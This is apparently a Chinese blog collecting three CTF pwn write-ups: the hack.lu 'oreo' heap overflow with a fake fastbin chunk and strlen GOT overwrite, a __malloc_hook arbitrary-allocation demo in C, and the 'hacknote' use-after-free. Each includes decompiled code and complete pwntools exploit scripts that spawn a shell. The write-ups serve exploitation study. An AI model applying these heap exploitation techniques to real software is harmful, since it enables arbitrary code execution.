2020年3月

题目很巧妙,而且很容易忽略一些细节导致掉进坑里出不来。本人在写的时候就遭遇了一些百思不得解的问题,而后通过慢慢的调试推演找到了问题所在地。在博客里?一下,防止以后再犯。

参考资料: https://wiki.x10sec.org/pwn/heap/fastbin_attack/

题目概况

题目名:2014_hack.lu_oreo

防护措施:

$ checksec oreo
[*] '/home/eqqie/CTF/ctf-challenges/pwn/heap/fastbin-attack/2014_hack.lu_oreo/oreo'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

RELRO是关的,说明很可能需要进行覆盖got表的操作。(常规套路lol)

代码审计

在IDA中逆向分析该程序的功能功能构成以及可能被利用的位置。

该程序是一个模拟线上枪支交易系统,可以新建枪支信息(name,description)以及提出Order,还可以写一段 message,以及查看 added rifles 和 state。看起来挺繁杂的,需要慢慢理清相互之间的关系。

相关函数信息:

1. Add new rifle

unsigned int add_new()
{
  char *prev_chunk; // [esp+18h] [ebp-10h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  prev_chunk = curr_chunk_ptr;
  curr_chunk_ptr = (char *)malloc(56u);
  if ( curr_chunk_ptr )
  {
    *((_DWORD *)curr_chunk_ptr + 13) = prev_chunk;// 最后四个字节保存上次申请的chunk的指针
    printf("Rifle name: ");
    fgets(curr_chunk_ptr + 25, 56, stdin);
    line_end_check(curr_chunk_ptr + 25);
    printf("Rifle description: ");
    fgets(curr_chunk_ptr, 56, stdin);
    line_end_check(curr_chunk_ptr);
    ++Rifle_count;
  }
  else
  {
    puts("Something terrible happened!");
  }
  return __readgsdword(0x14u) ^ v2;
}

2. Show added rifles

unsigned int show_added()
{
  char *i; // [esp+14h] [ebp-14h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Rifle to be ordered:\n%s\n", "===================================");
  for ( i = curr_chunk_ptr; i; i = (char *)*((_DWORD *)i + 13) )// 从最后一条记录开始向前遍历,知道prev_chunk_ptr为0,也就是遍历到第一条记录为止
  {
    printf("Name: %s\n", i + 25);
    printf("Description: %s\n", i);
    puts("===================================");
  }
  return __readgsdword(0x14u) ^ v2;
}

3. Order selected rifles

unsigned int order_selected()
{
  char *ptr; // ST18_4
  char *temp; // [esp+14h] [ebp-14h]
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  temp = curr_chunk_ptr;
  if ( Rifle_count )
  {
    while ( temp )
    {
      ptr = temp;
      temp = (char *)*((_DWORD *)temp + 13);    // 递归取得prev_chunk的指针并将curr_chunk释放掉
      free(ptr);
    }
    curr_chunk_ptr = 0;
    ++Order_count;                              // order总数增加
    puts("Okay order submitted!");
  }
  else
  {
    puts("No rifles to be ordered!");
  }
  return __readgsdword(0x14u) ^ v3;
}

4. Leave a Message with your Order

unsigned int message()
{
  unsigned int v0; // ST1C_4

  v0 = __readgsdword(0x14u);
  printf("Enter any notice you'd like to submit with your order: ");
  fgets(message_ptr, 128, stdin);
  line_end_check(message_ptr);
  return __readgsdword(0x14u) ^ v0;
}

5. Show current stats

unsigned int show_state()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("======= Status =======");
  printf("New:    %u times\n", Rifle_count);
  printf("Orders: %u times\n", Order_count);
  if ( *message_ptr )
    printf("Order Message: %s\n", message_ptr);
  puts("======================");
  return __readgsdword(0x14u) ^ v1;
}

6. menu

unsigned int menu()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("What would you like to do?\n");
  printf("%u. Add new rifle\n", 1);
  printf("%u. Show added rifles\n", 2);
  printf("%u. Order selected rifles\n", 3);
  printf("%u. Leave a Message with your Order\n", 4);
  printf("%u. Show current stats\n", 5);
  printf("%u. Exit!\n", 6);
  while ( 1 )
  {
    switch ( get_choice() )
    {
      case 1:
        add_new();
        break;
      case 2:
        show_added();
        break;
      case 3:
        order_selected();
        break;
      case 4:
        leave_message();
        break;
      case 5:
        show_state();
        break;
      case 6:
        return __readgsdword(0x14u) ^ v1;
      default:
        continue;
    }
  }
}

一条new rifle的记录结构如下:

00000000 rifle           struc ; (sizeof=0x38, mappedto_5)
00000000 descript        db 25 dup(?)
00000019 name            db 27 dup(?)
00000034 next            dd ?                    ; offset
00000038 rifle           ends

在bss段中有一个全局变量一只保存着当前最新的记录对应的chunk的指针,每个chunk尾部有一个next指针指向上一条记录的位置,在 Show added rifles 时便是利用next指针逐级向前显示之前的记录内容。

观察发现,在新增信息,也就是 Add new rifle 的时候,没有正确控制输入长度,导致存在堆溢出,可以修改堆尾部next指针的内容。这意味着只要我们修改next到某个已经完成延迟绑定的函数的got表位置,就可以利用 Show added rifles 泄露这个函数在内存中的位置,从而泄露其它函数如system在内存中的位置。

同时我们发现bss段的结构如下:

.bss:0804A288 curr_chunk_ptr  dd ?                    
.bss:0804A288                                         
.bss:0804A28C                 align 20h
.bss:0804A2A0 Order_count     dd ?                    
.bss:0804A2A0                                         
.bss:0804A2A4 Rifle_count     dd ?                   add_new+C5↑r
.bss:0804A2A4                                         
.bss:0804A2A8 ; char *message_ptr
.bss:0804A2A8 message_ptr     dd ?                    
.bss:0804A2A8                                         
.bss:0804A2AC                 align 20h
.bss:0804A2C0 message_area    db    ? ;               
.bss:0804A2C1                 db    ? ;
.bss:0804A2C2                 db    ? ;
.bss:0804A2C3                 db    ? ;
.bss:0804A2C4                 db    ? ;
.bss:0804A2C5                 db    ? ;
.bss:0804A2C6                 db    ? ;
.bss:0804A2C7                 db    ? ;
.bss:0804A2C8                 db    ? ;
.bss:0804A2C9                 db    ? ;
.bss:0804A2CA                 db    ? ;
.bss:0804A2CB                 db    ? ;
.bss:0804A2CC                 db    ? ;
.bss:0804A2CD                 db    ? ;
.bss:0804A2CE                 db    ? ;
.bss:0804A2CF                 db    ? ;
......

Order_count和Rifle_count长度都为4个字节(暗示可以作为chunk的头部),且Rifle_count的值和message_area的内容都可以被控制,这让我们想到可以利用house of sprit 在此处构造一个fake chunk并释放进入fastbin,经过再分配便可以修改messgae_ptr的值到任意可写的位置,这样当我们使用 Leave a Message with your Order 功能的时候就相当于任意地址写

由于RELRO关闭,如果我们找到一个合适的got表项覆盖为system函数的地址便可以getshell。观察发现strlen@got最适合完成此操作,其参数和system一样都为const char *s,且在 leave message 和 add new rifle 时都会调用到strlen统计输入内容的长度,这意味着"/bin/sh"字符串可从流中输入作为system的参数。

确定exp思路

  1. (泄露)add一条记录溢出修改next指针域到puts的got表,利用 Show added rifles 把got表的地址打印出来,再通过偏移计算出内存中system的地址。
  2. (构造fakechunk)
    2-1. 前面提到把 Order_count 和 Rifle_count 伪造成chunk头,那么根据题目中固定chunk的大小0x38可以确定,被伪造出来的chunk应该属于0x40的fastbin,所以要通过不断add把 Rifle_count 的值增加到0x40,但是要注意的是最后一条记录需要单独构造next指针域,因为之后通过free把fakechunk放进fastbin时需要通过这个next指针指向fakechunk,这样在free时就可以形成只含两个chunk的fastbin,便于再次malloc时获取到我们构造的fake chunk。

    2-2. 注意除了构造fakechunk,还要构造一个符合规则的next_size以及需要把fakechunk的next指针域设置为0,避免在free时发生莫名其妙的错误(由于这里被我忽略了,构造next_size时直接通过padding char的方式,导致了fakechunk的next指针域没有清零,卡了老半天)。

  3. (覆盖strlen的got表为system的地址) fakechunk构造好后利用 Order selected rifles free掉最后一个chunk以及其next指针指向的fakechunk。由于fakechunk是后释放的,只需要再add一次就可以获得它。并且在add时description的前4个字节就是message_ptr指针的值。只要将其设置为strlen@got的地址,再调用 Leave a Message with your Order 功能向strlen@got写入system的地址便完成了绑定。
  4. (getshell)这里有一个细节,也是我没注意的地方。因为 Leave a Message with your Order 本身在输入完message之后就会调用一次strlen计算message的长度。但是此处输入之后,strlen已经变成了system,那岂不是会发生system(system_addr)这样的乌龙?没错之前出现这个的问题的时候脑子没转过来,下意识以为exp中存在什么错误。反应过来后想到只需要在message后加上";/bin/sh\x00"(注意尾部填充\x00截断)就可以继续执行/bin/sh从而getshell !

完整exp

在python3-pwntool下编写,直接搬到py2注意bytes问题。
系统版本:Ubuntu 16.04 (glibc-2.23)

#!/usr/bin/python3
from pwn import *

p=process("./oreo")
elf=ELF("./oreo")
libc=ELF("./libc.so.6")

strlen_got=elf.got[b"strlen"]
log.success("strlen_got: %s"% hex(strlen_got))
puts_got=elf.got[b"puts"]
log.success("puts_got: %s"% hex(puts_got))
fake_chunk=0x0804A2A8
log.success("fake_chunk: %s"% hex(fake_chunk))

#context.log_level="debug"

def add(name,desc):
    p.sendline(b"1")
    p.sendline(name)
    p.sendline(desc)
    
def show_rifle():
    p.sendline(b"2")
    
def order():
    p.sendline(b"3")
    
def message(content):
    p.sendline(b"4")
    p.sendline(content)
    
def state():
    p.sendline(b"5")
    
    
def exp():
    print("==============exp start===============")
    
    print("***Leak glibc***")
    add(b"A"*27+p32(puts_got),b"a"*24)
    show_rifle()
    p.recvuntil(b"Description: ")
    p.recvuntil(b"Description: ")
    puts_addr=u32(p.recv(4))
    system_addr=libc.symbols[b"system"]-libc.symbols[b"puts"]+puts_addr
    binsh_addr=next(libc.search(b"/bin/sh"))-libc.symbols[b"puts"]+puts_addr
    log.success("puts_addr: %s"% hex(puts_addr))
    log.success("system_addr: %s"% hex(system_addr))
    log.success("binsh_addr: %s"% hex(binsh_addr))
    print("****************")
    
    for i in range(0x40-2):
        add(str(i+2).encode(),b"padding")
    add(b"A"*27+p32(fake_chunk),b"BBBBBBBB")

    message(b"C"*(0x0804A2A8+0x38+0x4-0x0804A2C0-0x8)+b"\x00"*8+p32(0x11))
    order()
    add(b"DDDD",p32(strlen_got))
    #gdb.attach(p)

    message(p32(system_addr)+b";/bin/sh\x00")
    #gdb.attach(p)
    print("==============exp end=================")
    p.interactive()
if __name__=="__main__":
    exp()

谢谢支持,欢迎指正!

在Arbitrary Alloc 的学习中,不可避免的一种用法就是通过字节偏移伪造size域绕过malloc的检测从而在__malloc_hook处伪造一个chunk,达到任意写的目的。

参考资料:https://wiki.x10sec.org/pwn/heap/fastbin_attack/

__malloc_hook的作用

__malloc_hook是glibc中的一个函数指针变量,它的原型如下:

/*第一个同malloc的size参数,第二个参数是调用malloc的那个函数的地址*/
void * function(size_t size, void * caller)

可见其实__malloc_hook相当于给malloc函数套了一层外壳,当这个函数指针的值不为NULL时,系统在调用malloc是就会触发这个hook,执行hook所指向的函数。合理构造该函数就可以达到自定义malloc的行为,捕获甚至控制返回值。于是我们想到通过之前的uaf和fastbin相关的知识,把堆块构造到该处便可以修改hook函数为自定义位置的函数,达到getshell的目的。

类似的还有__free_hook, __realloc_hook 等,原理大同小异

分析构造思路

为了试验方便,首先关闭Linux系统的ASLR功能。

以下部分步骤由于系统差异可能稍有不同,所以只讲大概思路

1. objdump查看系统对应版本glibc中__malloc_hook的偏移量

$ objdump libc.so.6 -D -M intel | grep __malloc_hook
...
00000000003c4b10 <__malloc_hook@@GLIBC_2.2.5>:

得到偏移 0x3c4b10,加上当前系统glibc加载时的基址 0x00007ffff7a0d000 推算出程序运行时其在内存中的位置为 0x00007ffff7dd1b10

2. gdb调试寻找合适的字节

利用uaf的方法,构造已经释放的fastchunk的fd域,从而在fastbin中伪造出一个chunk,通过malloc便可以修改该chunk内容。那么关键就在于,需要在__malloc_hook附近找到一个合适的字节,能构造成一个在fastbin范围内(64位:0x20 ~ 0x80)且包含了要控制的部分在内的size域。

随便写一个程序(因为要在动态环境下分析glibc的变量),在gdb中查看刚刚算出来的__malloc_hook附近的字节:

0x7ffff7dd1ae0 <_IO_wide_data_0+288>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1ae8 <_IO_wide_data_0+296>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1af0 <_IO_wide_data_0+304>:	0x60	0x02	0xdd	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1af8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b00 <__memalign_hook>:	0x20	0x2e	0xa9	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1b08 <__realloc_hook>:	0x00	0x2a	0xa9	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1b10 <__malloc_hook>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b18:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b20 <main_arena>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

观察发现,在0x7ffff7dd1af5的位置可以构造出0x000000000000007fL,而由计算fastbin_index的宏:

##define fastbin_index(sz)                                                      \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

可以知道若用这个字节构造chunk,对应的应该是size为0x70的chunk(此处指整个chunk的大小),于是我们uaf应该在0x70的fastbin上进行。

至此可以得出思路:修改已知chunk的fd域到该字节位置 -> 通过malloc或者__malloc_hook处伪造的chunk -> 然后计算好偏移,修改__malloc__hook的值到我们预先安排好的backdoor的地址 -> 运行&getshell

3. 编写一个demo检验一下

#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
/*backdoor function*/
void getshell(void){
    system("/bin/sh");
}

int main(void)
{
    void *chunk1;
    void *chunk_a;
    long long * malloc_hook;

    chunk1=malloc(0x60);
    printf("chunk_1 : %p\n",chunk1);
    free(chunk1);
    puts("Create fastbin.");

    /*修改fd域*/
    *(long long *)chunk1=0x7ffff7dd1af5-0x8;
    malloc(0x60);
    chunk_a=malloc(0x60);
    printf("chunk_a : %p\n",chunk_a);

    /*通过偏移计算出__malloc_hook的位置并修改至getshell函数*/
    malloc_hook=(long long *)((long long)chunk_a+0x13);
    *malloc_hook=0x400646L;
    printf("__malloc_hook_value : %lld\n",*malloc_hook);
    
    /*再次malloc触发钩子*/
    malloc(60);
    return 0;
}

总结

该篇简单介绍了__malloc_hook的利用方式,其中最关键的是偏移的计算,需要一定的耐心和细心。

谢谢阅读,欢迎评论指正!

题目分析

题目:hacknote

$ checksec hacknote
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

IDA分析该程序主要有三个功能:添加节点、删除节点和显示节点

unsigned int print_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");                      // 判断是否出界
    _exit(0);
  }
  if ( notelist[index] )
    (*(void (__cdecl **)(void *))notelist[index])(notelist[index]);
  return __readgsdword(0x14u) ^ v3;
}

unsigned int del_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);                           // 获取要删除的节点
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[index] )
  {
    free(*((void **)notelist[index] + 1));      // content指针清空
    free(notelist[index]);                      // 节点清空
    puts("Success");                            // 释放content和节点之后并没有把节点列表的指针设置为NULL,存在UAF
  }
  return __readgsdword(0x14u) ^ v3;
}

unsigned int print_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");                      // 判断是否出界
    _exit(0);
  }
  if ( notelist[index] )
    (*(void (__cdecl **)(void *))notelist[index])(notelist[index]);
  return __readgsdword(0x14u) ^ v3;
}

还有一个预留好的后门函数(真贴心)

int magic()
{
  return system("cat flag");                    // back door func
}

经过审计发现,在删除节点时只是free了两个chunk,但是并没有把节点列表的值设为NULL,这导致我们可以在free后再次使用。

由于节点列表中每个值指向一个size为16的chunk,其中可用区域前4字节作为函数指针,后四字节作为指向content部分的指针,content的大小可以自由控制。于是可以利用fastbin的特性,分两次分别申请16&24 16&16的chunk,再从后往前free掉。这时候如果再重新申请16&16的chunk,之前申请的第三个chunk,也就是记录了函数指针的chunk在此次申请中作为content chunk,可以自由控制。只要往里面写入backdoor函数的地址,再执行print函数(UAF)显示index 1的内容,就可以get flag了。

完整exp

#!/usr/bin/python3
from pwn import *
import re
p=process("hacknote")
elf=ELF("hacknote")
backdoor=elf.symbols[b"magic"]
print("Backdoor addr:",backdoor)

def add(size:int,content):
    p.send(b"1")
    p.sendafter(b"Note size :",str(size).encode())
    p.sendafter(b"Content :",content)
    print(p.recv().decode())
    
def remove(index):
    p.send(b"2")
    p.sendafter(b"Index :",str(index).encode())
    print(p.recv().decode())
    
def show(index):
    p.send(b"3")
    p.sendafter(b"Index :",str(index).encode())
    print(re.findall(r"flag{[a-z0-9A-Z_]+}$",p.recv().decode()))
    
print(p.recv().decode())

add(16,b"a"*16)
add(8,b"b"*8)
remove(1)
remove(0)
add(8,p32(backdoor)+b"\x00"*4)
show(1)
#p.interactive()